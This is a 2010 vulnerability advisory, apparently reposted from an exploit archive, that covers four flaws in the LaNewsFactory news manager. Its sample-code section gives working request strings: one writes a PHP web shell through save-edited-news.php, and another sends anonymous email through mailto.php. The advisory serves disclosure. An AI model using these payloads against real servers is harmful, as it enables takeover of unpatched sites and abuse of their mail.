LaNewsFactory Multiple Remote Vulnerabilities

=============================================
LaNewsFactory Multiple Remote Vulnerabilities
=============================================

LaNewsFactory Multiple Remote Vulnerabilities
http://www.salvatorefresta.net/files/adv/LaNewsFactory%20Multiple%20Remote%20Vulnerabilities-19042010.txt
 
 Name              LaNewsFactory
 Vendor            Christophe Brocas
 Versions Affected <= 1.0.0
 
 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-04-19
 
X. INDEX
 
 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 VI.   DISCLOSURE TIMELINE
  
 
I. ABOUT THE APPLICATION
 
This  is  a  very used  news manager that  not require a
database.
 
 
II. DESCRIPTION
 
This news managment is affected  by many  vulnerabilities
that  allows  a  guest  to  write  arbitrary files on the
system, include local files, read local files etc..
 
 
III. ANALYSIS
 
Summary:
 
 A) Anonymous email
 B) Remote File Writing
 C) Multiple Local File Inclusion
 D) Full Path Disclosure
 
A) Anonymous email
 
The mailto.php file allows a guest to send arbitrary emails.
The input is not properly sanitised:
 
if (ValidEmailAdress($youremail) and ValidEmailAdress($friendemail))
{
    mail ($friendemail, $display[$lang]["mailtoafriend"],"$comments\n\n".$url."print".$LNF_file_extension."?art=$newsfilename\n\n$yourname", "From: $youremail");
 
 
B) Remote File Writing
 
The save-edited-news.php  file  allows a guest to write a
file  on the  system.  This  vulnerability may be used to
execute remote commands on the system.
 
 
C) Multiple Local File Inclusion
 
There are many files that use a not sanitised input with
include PHP function. This  vulnerability  may be used to
execute remote commands by including the Apache Log file.
 
 
D) Full Path Disclosure
 
For  example,   print.php  file  prints  many  errors  by
including the full path of the file.  This  path  may  be
very useful for local file inclusion and other.
 
 
 
IV. SAMPLE CODE
 
A) Anonymous email
 
    [email protected]&[email protected]&comments=suck!
     
     
B) Remote File Writing to Remote Command Execution
 
    save-edited-news.php?art=news/file.php&corps=<?php system($_GET[cmd]); ?>
     
     
D) Full Path Disclosure
 
    print.php?art=-1.xml
 
 
V. FIX
 
No fix.
 
 
VIII. DISCLOSURE TIMELINE
 
2010-04-19 Bugs discovered
2010-04-19 Advisory released



#  0day.today [2018-04-11]  #